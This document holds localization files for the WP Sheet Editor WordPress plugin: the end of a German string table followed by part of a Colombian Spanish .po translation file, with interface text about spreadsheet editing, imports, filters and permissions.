zu langsam geladen wird, wenn Sie Fehler beim Laden der Zeilen erhalten oder wenn Sie keine Spalten mit dem Präfix "SEIS" sehen möchten.Mit dem Tabelleneditor können Sie Ihr WordPress %s bearbeiten.Der Tabelleneditor ist sehr leistungsfähig und hat viele Funktionen. In diesem Schritt können Sie die Funktionen aktivieren, die Sie benötigen.Aus Leistungsgründen lädt das Arbeitsblatt nur die "sichtbaren Zeilen", so dass beim Scrollen nach oben oder unten die Zeilen dynamisch geladen werden. Auf diese Weise können Sie Tausende von Beiträgen im Arbeitsblatt "öffnen", und es funktioniert schnell. Wenn Sie jedoch die Browsersuche benutzen wollen, um eine bestimmte Zelle zu finden, müssen Sie das verzögerte Laden deaktivieren, damit alle Zeilen auf einmal geladen werden und der Browser die Zellen finden kann. Die Browsersuche funktioniert nicht standardmäßig, weil nur die "sichtbaren Zeilen" tatsächlich erzeugt werden.Die Taxonomie-Spalten (d.h. Kategorien, Tags) verwenden standardmäßig eine eingeschränkte Dropdown-Liste zur Auswahl nur eines Begriffs, und die Spalte kann durch Copy&Paste eingefügt werden. Wir haben einen netten Dropdown-Selektor, der eine bessere Autovervollständigung hat, die Auswahl mehrerer Optionen erlaubt usw., aber er verbraucht mehr Server-Ressourcen und erlaubt kein Copy&Paste in diese Zellen. Sie können ihn hier aktivieren, wenn Sie ein besseres Dropdown-Menü der Möglichkeit zum Kopieren und Einfügen vorziehen.Die Varianten gelten für diese Produkte: Diese Farbe wird als Hintergrund für die Kopf- und Fußzeile verwendet.Diese Farbe wird für die Menü-Links verwendet, sie sollte das Gegenteil der Hintergrundfarbe sein, d.h. dunkler Hintergrund mit hellem Text oder heller Hintergrund mit dunklem TextDiese Spalte ist nur für übergeordnete Produkte, Varianten verwenden dieses Feld nichtDiese Spalte ist nur für Varianten relevant, übergeordnete Produkte verwenden dieses Feld nichtDiese Funktion ist als Premium-Erweiterung verfügbar.Dies ist nur für fortgeschrittene Benutzer oder wenn unser Support-Team Sie bittet, diese Option zu verwenden. Wir haben 2 Möglichkeiten, mit serialisierten Feldern umzugehen: den alten Handler (standardmäßig verwendet, mit Einschränkungen) und den unbegrenzten Serialisierungs-Handler (besser, aber standardmäßig nicht aktiv, um frühere Integrationen nicht zu brechen). Verwenden Sie diese Option, wenn Sie serialisierte Felder haben, die falsch speichern oder nicht im Arbeitsblatt erscheinen.Dies ist optional. Lassen Sie das Feld leer, um den Namen aus den URLs zu verwenden. Geben Sie mehrere durch Kommata getrennte Namen einDieses Logo wird über dem Arbeitsblatt im Frontend angezeigtDieses Menü wird im oberen rechten Abschnitt über dem Arbeitsblatt angezeigt.Dies kann hilfreich sein, wenn das Arbeitsblatt nicht oder leer geladen wird.Dies wird angezeigt, wenn der aktuelle Benutzer nicht eingeloggt ist und versucht, ein Arbeitsblatt zu sehen. Wir zeigen nach Ihrer Nachricht ein Anmeldeformular an.Dies erspart Ihnen {clicks_count} Klicks :)Zeitersparnis
                  (geschätzt)ZeiteinheitTinyMCE EditorTipp: Wenn Sie Informationen von dieser Website bearbeitet haben, sollten Sie die bearbeiteten Spalten und die Datensatz-ID (record_id) importieren. Importieren Sie keine Spalten, die nicht geändert wurdenTipp: Wir können Ihnen bei der Einrichtung des Arbeitsblatts helfen. Erhalten Sie sofortige Hilfe im Live-Chat während der GeschäftszeitenTipp: Sie können das "Export"-Tool verwenden, um ein CSV herunterzuladen und die verfügbaren Spalten und das Format anzuzeigen.
                  Sie können unsere Dokumentation hierlesen.TitelUm unter allen Beiträgen zu suchen, verwenden Sie das Suchwerkzeug. Verwenden Sie dieses, um einen Wert in den geladenen Zeilen des Arbeitsblatts zu finden und zu markieren. Markieren Sie z.B. eine SKU oder eine E-Mail oder eine Anrede.Werkzeuge oberhalb der Tabelle.GesamtbetragSeparat übersetzenWenn Sie dies einschalten, speichert das Arbeitsblatt alle 2 Minuten automatisch alle an den Zellen vorgenommenen Änderungen. Vorsicht: Dies kann zu Problemen führen, wenn die Änderungen vorzeitig gespeichert werden, bevor Sie die Bearbeitung aller erforderlichen Spalten abgeschlossen haben.TutorialTypURL-SlugUngefiltertes HTMLAlle abwählenAlle Spalten abwählenVorhandene Elemente aktualisieren, neue Elemente ignorierenVorhandenen Wert mit dem Ergebnis einer mathematischen Operation aktualisieren.
                  Das Ergebnis wird auf 2 Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85Einstellungen aktualisieren6 Erweiterungen aktualisiert.Bild hochladenDatei hochladenDateien hochladenHochgeladen vom BenutzerZu diesem Element hochgeladenZusatzverkäufeNutzungsstatistikenVerwenden Sie eine unbegrenzte Liste anstelle der SeitennummerierungAls Beitragsbild verwendenSeitennummerierung im Arbeitsblatt verwenden?Preise vom einfachen Produkt (Elternteil) auf die Varianten anwendenGetrennte Spalten für Bilder beim Export und Import verwenden?Langsamere Ausführungsmethode verwenden?Verwenden Sie diesen Editor nur zum Bearbeiten des Inhalts, andere Felder wie Tags und Kategorien sollten im Arbeitsblatt bearbeitet werden.Benutzen Sie diesen Link aus Sicherheitsgründen privat, dieser Link verfällt nach einmaliger Benutzung.Für Varianten verwendet?Für Variante verwendet?Benutzer-DropdownBenutzer nicht erlaubtBenutzer darf keine Zeilen bearbeitenBenutzerrollenBenutzerrollen, die den Tabelleneditor verwenden könnenBenutzernameBenutzerMit diesem Tool können Sie Tausende von Zeilen auf einmal aktualisierenWertWert im Ersetzungsabschnitt ist nicht gültigBeschreibung der VarianteVariante aktiviert?Variante: %sVarianten-ManagerVerkäuferAnzeigenErweiterungen anzeigenGalerie anzeigenArbeitsblatt anzeigenArbeitsblätter anzeigenErweiterungen anzeigenLogdatei anzeigenVirtuellSichtbarkeitWP EditorWP Sheet EditorVerwendung des WP Sheet EditorsWPBakery Page BuilderWPML - DuplikatWPML - SpracheWPML - BeziehungWPML - Übersetzung vonWPML - Priorität der ÜbersetzungTutorial ansehenWir speichern jetzt. Schließen Sie dieses Fenster nicht, bevor der Vorgang abgeschlossen ist.Wir haben alle Spalten automatisch erkannt.Wir runden automatisch auf 2 Dezimalstellen auf. Sie können hier eine beliebige Zahl eingeben, z.B. 1, um auf 1 Dezimalstelle zu rundenWir können die Datenbank durchsuchen, neue Felder finden und automatisch Spalten für die unterstützten Felder erstellen.Wir haben keine zu aktualisierenden Zeilen aus der Suchanfrage gefunden. Bitte versuchen Sie eine andere Suche.Wir finden Zeilen mit dem gleichen Wert im CSV-Feld und im WP-Feld.
                  D.h. Produkte mit derselben SKU oder ID.Wir haben ähnliche Spalten gefunden. Wollen Sie dieselbe Aktion auf sie anwenden? {columns}Wir haben +200 Tutorials und Anleitungen in unserem BlogWir haben eine Erweiterung für die Anzeige dieses Arbeitsblatts im Frontend. Sie können die Spalten auswählen, die angezeigt werden sollen, und die Arbeitsblattwerkzeuge für die Frontend-Benutzer auswählen (Suche, Menge, Bearbeiten, Import, Export usw.). Zum Beispiel:Wir importieren die Datei in Zyklen (d.h. 4 Zeilen alle paar Sekunden). Wenn ein Verarbeitungszyklus fehlschlägt, unterbrechen wir normalerweise den Import und fragen Sie, ob Sie den Import erneut versuchen oder abbrechen möchten. Wählen Sie diese Option, um den Import automatisch zu wiederholen. Vorsicht: Sie müssen in Schritt 3 des Imports die Option zum Aktualisieren vorhandener Zeilen wählen, damit wir bei der Wiederholung den erfolgreichen Import überspringen und nur den fehlgeschlagenen Versuch wiederholen können. Wenn Sie in Schritt 3 des Imports nicht die Option zum Aktualisieren wählen, könnte jede Wiederholung einige zuvor importierte Zeilen duplizieren.Wir schränken die Spalten des Arbeitsblatts aus Leistungsgründen ein, um zu vermeiden, dass Tausende von Spalten im Arbeitsblatt geladen werden. Sie können diese Begrenzung erhöhen, wenn Sie mehr Spalten anzeigen möchten. Voreinstellung: 310Wir müssen das Arbeitsblatt neu laden, um die Varianten zu entfernen. Bitte speichern Sie Ihre Änderungen zuerst, sonst gehen diese Änderungen verloren. Möchten Sie jetzt neu laden?Wir müssen die Zeilen des Arbeitsblatts neu laden, um die Varianten zu laden. Bitte speichern Sie Ihre Änderungen zuerst, sonst gehen diese Änderungen verloren. Möchten Sie jetzt neu laden?Wir verwenden die Seitennummerierung, um weniger Server-Ressourcen zu nutzen. Wir laden am Anfang 20 Zeilen, und jedes Mal, wenn Sie nach unten scrollen, laden wir 20 weitere. Sie können diese Zahl erhöhen, um mehr Zeilen je Seite zu laden. SORGFALT: Das Laden von mehr als 200 Zeilen pro Seite könnte Ihren Server überlasten. Wenn wir feststellen, dass der Server überlastet ist, setzen wir automatisch auf 10 Zeilen pro Seite zurück.Wir verwenden die Seitennummerierung. Standardmäßig laden wir 20 Zeilen je Seite (jedes Mal, wenn Sie nach unten scrollen). Sie können die Anzahl erhöhen, um bei jedem Herunterscrollen mehr Zeilen zu laden.Wir werden die neue Datei an die bestehenden Dateien in den Produkten anhängen. Geben Sie nur die Datei-URL ein, Sie können mehrere durch Kommata getrennte URLs eingeben.Wir werden die neue(n) Datei(en) an die bestehende(n) Mediendatei(en) anhängen.Wir werden die ausgewählte(n) Zeile(n) vollständig aus der Datenbank löschen. Wenn Sie sie später wiederherstellen möchten, sollten Sie vorher eine Sicherung machen. Wollen Sie sie löschen?Wir werden dieses Metafeld aus der Datenbank löschen, und Sie verlieren in allen Zeilen die in diesem Feld gespeicherten Werte. Sie sollten ein Backup erstellen, um in Zukunft eine Wiederherstellung durchführen zu können. Wollen Sie mit dem Löschen fortfahren?Wir zeigen alle Spalten an, die gelöscht oder deaktiviert wurden, umbenannte Spalten zeigen die Originaltitel an, wir scannen die Datenbank erneut durch, um Spalten wiederzufinden, und die Geschwindigkeits-/fortgeschrittenen Einstellungen werden auf die Standardwerte zurückgesetzt. Dies betrifft nur die Einstellungen unseres Plugins und hat keinen Einfluss auf die mit dem Blatt bearbeiteten Daten.Wir werden die neue(n) Datei(en) der/den bestehenden Mediendatei(en) voranstellen.Wir werden die bestehende Mediendatei durch diese Datei ersetzen.Wir werden die bestehende(n) Mediendatei(en) durch diese Datei(en) ersetzen.Wir werden die bestehenden Begriffe durch diese Begriffe ersetzen.Wir werden die aktuelle Suchanfrage und die Exporteinstellungen speichern, und Sie können diesen Export in Zukunft mit einem Klick über das Dropdown-Menü im Exportmenü ausführenWir werden diese Dateien speichern. Bestehende Dateien werden überschrieben. Geben Sie nur die Datei-URL ein, Sie können mehrere durch Kommata getrennte URLs eingeben.Wir werden diese Gruppe von Spalten als Arbeitsblattansicht speichern, und Sie können in der Werkzeugleiste zwischen den Arbeitsblättern wechselnWochenGewichtWillkommen bei WP Sheet EditorWelche Anwendung werden Sie zur Bearbeitung dieser Datei verwenden? (optional)Welches Attribut möchten Sie bearbeiten?Welche Spalten möchten Sie exportieren?Welche Komponente benötigen Sie?Welches Datumsformat möchten Sie in der Datenbank speichern?Welches Feld möchten Sie bearbeiten?Welche Informationen möchten Sie im Frontend bearbeiten?Welche Art von Beiträgen erfordert diese Spalte im Arbeitsblatt?Welche Einstellung möchten Sie ändern?Welcher Wert wird gespeichert, wenn Sie beim Kontrollkästchen einen Haken setzen?Welcher Wert wird gespeichert, wenn Sie das Häkchen beim Kontrollkästchen entfernen?Was ist neu am WP Sheet EditorWenn das Blatt geladen und der Beitragsinhalt gespeichert wird, lassen wir es über wpautop laufen, um Probleme mit Zeilenumbrüchen zu vermeiden. Sie können dies deaktivieren, wenn Sie die p-Tags im Inhalt nicht sehen/speichern möchten.Wenn das Blatt geladen wird, öffnen wir es im Vollbildmodus, und Sie haben die Möglichkeit, den Vollbildmodus zu verlassen. Aktivieren Sie diese Option, und wir werden das Blatt nicht im Vollbildmodus öffnen.Wenn dies aktiviert ist, werden weitere Elemente am Ende des Arbeitsblatts geladen, wenn Sie das Ende der Seite erreichenWenn dies aktiviert ist, werden weitere Elemente am unteren Rand des Arbeitsblatts geladen, wenn Sie das Ende der Seite erreichen. Sie können dies auch im Arbeitsblatt aktivieren / deaktivieren.Wenn dies aktiviert ist, werden die Produktvarianten angezeigt, und Sie können sie bearbeiten.Beim Löschen von Beiträgen, Seiten, Events, Produkten, Bestellungen, Gutscheinen und anderen Beitragstypen können Sie auswählen, wie viele je Verarbeitungszyklus gelöscht werden sollen. Verwenden Sie eine höhere Anzahl, um schneller fertig zu werden. Der Standardwert ist 500Wenn Sie eine große Anzahl von Beiträgen im Tabelleneditor bearbeiten, können wir nicht alle Änderungen auf einmal speichern, also machen wir es in Stapeln. Aber Ihr Server kann nicht alle Stapel nacheinander bearbeiten, so dass wir nach jedem Verarbeitungszyklus einige Sekunden warten müssen, um Ihrem Server eine kleine Pause zu gönnen. Der empfohlene Wert ist 6 Sekunden; Sie können ihn so einstellen, wie es für Sie am besten funktioniert. Wenn Sie beim Speichern Fehler erhalten, sollten Sie die Zahl erhöhen, um Ihrem Server nach jedem Zyklus eine längere Pause zu gebenWenn Sie eine große Anzahl von Beiträgen im Tabelleneditor bearbeiten, können wir nicht alle Änderungen auf einmal speichern, also machen wir es in Stapeln. Der empfohlene Wert ist 4 , was bedeutet, dass wir nur 4 Beiträge auf einmal bearbeiten werden. Sie können ihn so anpassen, wie es für Sie am besten funktioniert. Wenn Sie beim Speichern Fehler erhalten, sollten Sie die Zahl verringernWenn Sie diesen Schritt abgeschlossen haben, können Sie den Frontend-Editor verwenden. Sie können die Frontend-Seite zu einem Menü hinzufügen oder den Link mit Ihren Benutzern teilen.Wenn Sie 1000 Beiträge haben, möchten Sie vielleicht das Arbeitsblatt öffnen und mit der Bearbeitung ab Beitrag 200 beginnen. Mit dieser Option können Sie viele Zeilen überspringen. WICHTIG. Wir verwenden die Seitennummerierung, d.h. wir zeigen die Seite an, die dieser Zahl am nächsten liegt. Zum Beispiel. Wenn Sie 10 Zeilen je Seite laden und 1205 als Offset eingeben, beginnt das Blatt bei Seite 120 (Index 1200), weil es die Seite ist, die dem definierten Offset am nächsten liegt.Wenn Sie ein Bild unter Verwendung von FTP-URLs importieren, wird das Bild jedes Mal importiert, und es kann sein, dass Sie am Ende Duplikate in der Medienbibliothek haben. Aktivieren Sie diese Option, um Bilder in der Medienbibliothek mit demselben Dateinamen wiederzuverwenden und bei zukünftigen Importen das erneute Herunterladen des FTP-Bildes zu vermeiden. Deaktivieren Sie diese Option, wenn Sie die Bilder bei zukünftigen Importen aktuell halten wollen.Wenn Sie das Arbeitsblatt laden, erhalten wir alle Spalten auf einmal aus der Datenbank, um es schneller zu machen, dies wird Prefetch genannt. Dies kann zu Problemen führen, wenn Sie Tausende von Spalten oder seltene Datenbank-Setups haben.Wenn Sie das Arbeitsblatt öffnen, laden wir die Zeilen automatisch, so dass Sie sofort mit der Bearbeitung beginnen können. Aktivieren Sie diese Option, wenn Sie Zeilen suchen und manuell laden möchten.Wenn Sie WordPress Multisite verwenden und einen Benutzer im Benutzerarbeitsblatt löschen, entfernen wir standardmäßig nur den Benutzer von der aktuellen Site, der Benutzer bleibt jedoch im Netzwerk. Aktivieren Sie diese Option, wenn Sie das Benutzerkonto aus dem gesamten Netzwerk löschen möchtenWelche Dubletten möchten Sie löschen?Welche Varianten möchten Sie kopieren?BreiteMit unserem Editor können Sie alle Informationen von
                  Ihrem %s bearbeiten, was Ihnen viel Zeit erspart.Mit diesen DateienMit diesemMit dieser DateiWooCommerce - BASIS-IntegrationWooCommerce - Produkt-IntegrationWooCommerce-GutscheineArbeitsblatt für WooCommerce-GutscheinenArbeitsblatt für WooCommerce-KundenArbeitsblatt für WooCommerce-BestellungenWooCommerce-ProdukteWordPress-FeldWordPress-FeldWordPress verwendet die Heartbeat API, um den Anmeldestatus alle paar Sekunden zu überprüfen. Dies kann Ihren Server überlasten, weil er Hunderte von Anfragen stellen kann, wenn Sie im Arbeitsblatt arbeiten. Sie können dies deaktivieren, um die Belastung Ihres Servers während der Bearbeitung des Arbeitsblatts zu verringern. Wenn Sie das Arbeitsblatt jedoch über mehrere Tage geöffnet lassen, kann Ihre Anmeldesitzung ablaufen und Sie würden darüber nicht benachrichtigt, wenn Sie den Heartbeat deaktivieren. Dies kann zu Problemen beim Speichern führen. Verwenden Sie diese Option also nur, wenn Sie das Arbeitsblatt nur einige Stunden lang verwenden.Falsches DatenformatFalsche Dateierweiterung. Wir akzeptieren nur CSVFalsche Datei-URLFalscher Produkttyp. Stellen Sie sicher, dass es sich um ein variables Produkt handelt.XJahreJaSie dürfen diese Aktion nicht durchführen. Bitte laden Sie die Seite neu, oder loggen Sie sich erneut ein.Sie können die Sprache dieses Beitrags ändern. Wenn die Übersetzung für die neue Sprache vorhanden ist, wird diese Änderung nicht übernommen.Sie können einfache Produkte in variable Produkte umwandeln. Sie können Varianten in ein einfaches Produkt kopieren und die Preise des einfachen Produkts bei den Varianten beibehalten.Sie können hier neue Elemente erstellenSie können dies mehrfach tunSie können Ihre Medieninformationen wie folgt bearbeiten:Sie können Ihre WooCommerce-Produktinformation wie folgt bearbeiten:Hier finden Sie alle Einstellungen, wie z.B. die Sichtbarkeit der Spalten, usw.Sie können unsere FAQ mit einer Liste von Hunderten von Fragen lesenSie können die Größe des Editors ändernSie können nach jedem Feld mit Hilfe von Operatoren suchen. D.h. price > 100, image != (empty)In der ersten Option dieses Formulars können Sie die Zeilen für die Bearbeitung auswählen.Sie können den Tabelleneditor in nur 5 Minuten benutzen. Bitte folgen Sie diesen Schritten.Sie haben nicht genügend Berechtigungen, um neue Zeilen zu erstellen.Sie haben nicht genügend Berechtigungen, um diese Aktion durchzuführen.Sie haben nicht genügend Berechtigungen, um diese Aktion auszuführen.Sie haben nicht genügend Berechtigungen zum Laden von Zeilen.Sie haben nicht genügend Berechtigungen zum Speichern von Änderungen.Sie haben nicht genügend Berechtigungen für die Suche nach Taxonomiebegriffen.Sie haben nicht genügend Berechtigungen, um diese Seite anzuzeigen.Sie haben eine ungültige Formel eingegeben. Bitte überprüfen Sie dies oder kontaktieren Sie uns.Sie haben Beiträge geändert. Bitte speichern Sie die Änderungen, denn wir werden das Arbeitsblatt aktualisieren.Sie haben Beiträge geändert. Bitte speichern Sie die Änderungen, denn wir werden das Arbeitsblatt aktualisieren. Möchten Sie jetzt aktualisieren?Sie haben Zeilen geändert. Bitte speichern Sie die Änderungen, bevor Sie Spalten aus dem Arbeitsblatt entfernen.Sie haben noch keine Formeln gespeichert.Sie müssen die vollständige Hierarchie wie Elternteil > Kind eingebenSie müssen es aus Sicherheitsgründen privat nutzen, dieser Link verfällt nach einmaliger Nutzung.Sie müssen die Zeilen manuell laden, da Sie das automatische Laden von Zeilen deaktiviert haben. Einstellungen ändernSie müssen sich anmelden, um diese Seite anzuzeigen.Sie müssen ein Logo auf der Einstellungsseite festlegen. Optional können Sie die Hintergrundfarbe oder die Farbe der Links ändern und ein Kopfzeilenmenü festlegen.Sie haben eine Spalte aus der CSV-Datei unten ausgewählt, aber die Spalte wird nicht
                  importiert. Bitte gehen Sie zum vorherigen Schritt und wählen Sie die zu importierende Spalte aus.
                  Hypothetisches Beispiel: Wenn Sie bestehende Produkte mit derselben ID aktualisieren möchten, müssen Sie die ID-Spalte importieren, da wir sonst nicht über die IDs verfügen, um sie zu finden.Sie können den Titel des Beitrags in die Zelle eingeben, und die Zelle zeigt eine Dropdown-Liste mit Vorschlägen an.Sie können den Benutzernamen in die Zelle eingeben, und die Zelle zeigt eine Dropdown-Liste mit Vorschlägen an.Ihr Server war nicht in der Lage, diesen Zyklus zu verarbeiten. Wollen Sie es erneut versuchen?Ihr Server war nicht in der Lage, diesen Zyklus zu verarbeiten. Wollen Sie es erneut versuchen? Sie können es 3 mal versuchen. Schlagen 3 Versuche fehl, stoppen wir den Import vollständig.leerempfohlen?oderbis{deleted} Duplikate wurden entfernt.{updated} gespeicherte Elemente von {total} Elementen, die gespeichert werden müssen.modules/wp-sheet-editor/lang/vg_sheet_editor-es_CO.po000064400001165603147600365160016701 0ustar00msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2023-07-12T19:16:48+00:00\n" "PO-Revision-Date: 2023-07-19 13:16-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_CO\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: Poedit 3.3.1\n" #: acf/acf.php:84 msgid "ACF: Show checkboxes as multi select dropdowns?" msgstr "" "ACF: ¿Mostrar las casillas de verificación como desplegados de selección " "múltiple?" #: acf/acf.php:85 msgid "" "By default, we show every checkbox as a separate column, but if you have " "checkboxes with many options you might want to use one column with a " "dropdown instead." msgstr "" "Por defecto, mostramos cada casilla de verificación como una columna " "separada, pero si tienes casillas de verificación con muchas opciones es " "posible que desees utilizar una columna con un desplegable en su lugar." #: acf/acf.php:377 msgid "" "You need to configure your Google Maps API key to save the Google Maps " "columns. This is required by Advanced Custom Fields, you can follow this tutorial" msgstr "" "Tienes que configurar la API key de Google Maps para poder guardar valores " "en las columnas de mapas de Advanced Custom Fields. Esto es requerido por " "Advanced Custom Fields, puedes seguir este tutorial" #: acf/acf.php:915 msgid "Enter a title" msgstr "Ingresa un título" #: acf/acf.php:1144 msgid "Row" msgstr "Fila" #: advanced-filters/advanced-filters.php:48 #: advanced-filters/advanced-filters.php:70 #: columns-manager/inc/column-groups.php:281 #: columns-resizing/columns-resizing.php:59 #: columns-visibility/columns-visibility.php:213 formulas/formulas.php:590 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:144 woocommerce/inc/attributes.php:799 #: woocommerce/inc/attributes.php:1019 woocommerce/inc/downloadable.php:368 #: woocommerce/inc/downloadable.php:387 woocommerce/inc/variations.php:1618 #: woocommerce/inc/variations.php:1637 #: wp-sheet-editor/dev/inc/api/editor.php:161 #: wp-sheet-editor/dev/wp-sheet-editor.php:1162 #: wp-sheet-editor/dev/wp-sheet-editor.php:1176 #: wp-sheet-editor/dev/wp-sheet-editor.php:1187 msgid "You dont have enough permissions to view this page." msgstr "No tienes suficientes permisos para ver esta página." #: advanced-filters/advanced-filters.php:132 msgid "Save this search" msgstr "Guardar esta búsqueda" #: advanced-filters/advanced-filters.php:133 msgid "Enter a name..." msgstr "Ingresa un nombre..." #: advanced-filters/advanced-filters.php:441 #: woocommerce/inc/import-export.php:96 msgid "Parent" msgstr "Padre" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "Ingresa %s" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "Ingresa los nombres de " #: advanced-filters/advanced-filters.php:638 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "Nombre de la categoría..." #: advanced-filters/advanced-filters.php:650 #: advanced-filters/advanced-filters.php:707 #: advanced-filters/advanced-filters.php:762 filters/filters.php:540 msgid "Select..." msgstr "Seleccionar..." #: advanced-filters/advanced-filters.php:705 msgid "Field" msgstr "Campo" #: advanced-filters/advanced-filters.php:714 msgid "Last edit" msgstr "Última modificación" #: advanced-filters/advanced-filters.php:715 msgid "Old slug" msgstr "Slug antiguo" #: advanced-filters/advanced-filters.php:716 filters/filters.php:508 #: wp-sheet-editor/dev/inc/api/bootstrap.php:662 msgid "Author" msgstr "Autor" #: advanced-filters/advanced-filters.php:717 msgid "Date (GMT)" msgstr "Fecha (GMT)" #: advanced-filters/advanced-filters.php:718 msgid "Modified Date (GMT)" msgstr "Fecha de Modificación (GMT)" #: advanced-filters/advanced-filters.php:719 #: wp-sheet-editor/dev/inc/api/bootstrap.php:725 msgid "Comments" msgstr "Comentarios" #: advanced-filters/advanced-filters.php:720 msgid "Ping status" msgstr "Estado del ping" #: advanced-filters/advanced-filters.php:721 #: wp-sheet-editor/dev/inc/api/bootstrap.php:501 msgid "URL Slug" msgstr "URL Slug" #: advanced-filters/advanced-filters.php:722 #: wp-sheet-editor/dev/inc/api/bootstrap.php:759 msgid "Page Parent" msgstr "Página Padre" #: advanced-filters/advanced-filters.php:723 msgid "Mime type" msgstr "Tipo de MIME" #: advanced-filters/advanced-filters.php:724 msgid "Comment count" msgstr "Recuento de comentarios" #: advanced-filters/advanced-filters.php:725 msgid "EDD Variable Prices" msgstr "Precio variable EDD" #: advanced-filters/advanced-filters.php:726 msgid "EDD Download Files" msgstr "Archivos de descarga EDD" #: advanced-filters/advanced-filters.php:757 msgid "A field is missing? Click here" msgstr "¿Faltan campos? Haz clic aquí" #: advanced-filters/advanced-filters.php:761 msgid "Operator" msgstr "Operador" #: advanced-filters/advanced-filters.php:767 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/variations.php:507 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:947 msgid "Value" msgstr "Valor" #: advanced-filters/advanced-filters.php:772 #: advanced-filters/advanced-filters.php:798 #: wp-sheet-editor/dev/inc/api/bootstrap.php:276 msgid "Add new" msgstr "Añadir nuevo" #: advanced-filters/advanced-filters.php:775 msgid "X" msgstr "X" #: advanced-filters/advanced-filters.php:785 msgid "Enable advanced filters" msgstr "Habilitar filtros avanzados" #: advanced-filters/advanced-filters.php:788 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Búsqueda avanzada" #: advanced-filters/advanced-filters.php:790 msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Puedes buscar por cualquier campo usando operadores. Por ejemplo: precio > " "100, imagen != (vacío)" #: advanced-filters/advanced-filters.php:807 msgid "NOT Contains this keyword" msgstr "No Contiene esta palabra clave" #: advanced-filters/advanced-filters.php:807 msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Ingresa una palabra clave para excluir filas. Separa múltiples palabras " "claves con un punto y coma (;)" #: advanced-filters/advanced-filters.php:811 msgid "Find these IDs:" msgstr "Encontrar estos IDs:" #: advanced-filters/advanced-filters.php:811 msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Ingresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. " "Puedes agregar rangos como 20-50 como un acceso directo." #: advanced-filters/advanced-filters.php:816 msgid "Find these URLs:" msgstr "Encontrar estas URLs:" #: advanced-filters/advanced-filters.php:816 msgid "Enter one URL per line" msgstr "Ingresa una URL por línea" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "Fecha Inicial" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "Mostrar elementos publicados entre estas fechas" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "Fecha final" #: advanced-filters/advanced-filters.php:839 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "" "Cualquiera de estos valores (Ingresa múltiples valores separados por ;)" #: advanced-filters/advanced-filters.php:840 msgid "CONTAINS" msgstr "CONTIENE" #: advanced-filters/advanced-filters.php:841 msgid "NOT CONTAINS" msgstr "NO CONTIENE" #: advanced-filters/advanced-filters.php:842 msgid "STARTS WITH" msgstr "INICIA CON" #: advanced-filters/advanced-filters.php:843 msgid "ENDS WITH" msgstr "TERMINA CON" #: advanced-filters/advanced-filters.php:844 msgid "CHARACTER LENGTH <" msgstr "CANTIDAD DE CARACTERES <" #: advanced-filters/advanced-filters.php:845 msgid "CHARACTER LENGTH >" msgstr "CANTIDAD DE CARACTERES >" #: advanced-filters/advanced-filters.php:846 msgid "REGEXP" msgstr "REGEXP" #: advanced-filters/advanced-filters.php:847 msgid "In the last x hours" msgstr "En las últimas X horas" #: advanced-filters/advanced-filters.php:848 msgid "In the last x days" msgstr "En los últimos X días" #: advanced-filters/advanced-filters.php:849 msgid "In the last x weeks" msgstr "En las últimas X semanas" #: advanced-filters/advanced-filters.php:850 msgid "In the last x years" msgstr "En los últimos X años" #: columns-manager/columns-manager.php:70 wp-sheet-editor/dev/inc/ajax.php:19 #: wp-sheet-editor/dev/inc/ajax.php:45 msgid "You dont have enough permissions to do this action." msgstr "No tienes suficientes permisos para realizar esta acción." #: columns-manager/columns-manager.php:103 msgid "Please select the background color" msgstr "Por favor, selecciona un color de fondo" #: columns-manager/columns-manager.php:105 formulas/inc/ui.php:622 msgid "Clear value" msgstr "Borrar valor" #: columns-manager/columns-manager.php:107 #: custom-columns/views/settings-page.php:149 #: wp-sheet-editor/dev/inc/api/bootstrap.php:265 #: wp-sheet-editor/dev/views/post-types-form.php:31 #: wp-sheet-editor/dev/views/settings-form.php:120 msgid "Save" msgstr "Guardar" #: columns-manager/columns-manager.php:108 formulas/inc/ui.php:132 #: posts-templates/posts-templates.php:106 #: universal-sheet/views/export-modal.php:14 #: universal-sheet/views/export-modal.php:84 #: universal-sheet/views/import-modal.php:15 #: wp-sheet-editor/dev/views/editor-page.php:265 msgid "Cancel" msgstr "Cancelar" #: columns-manager/columns-manager.php:259 msgid "" " Some columns have the button to change the " "formatting" msgstr "" " Algunas columnas tienen el botón para cambiar " "el formato" #: columns-manager/columns-manager.php:273 columns-visibility/views/form.php:9 msgid "Columns manager" msgstr "Gestor de columnas" #: columns-manager/columns-manager.php:554 #: wp-sheet-editor/dev/inc/api/bootstrap.php:830 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr ". Agrega categorías hijas usando este formato: Padre > hija1 > hija2" #: columns-manager/columns-manager.php:563 msgid "Enter multiple terms separated by commas" msgstr "Ingresa varios términos separados por comas" #: columns-manager/columns-manager.php:581 msgid "Enter multiple post titles separated by commas" 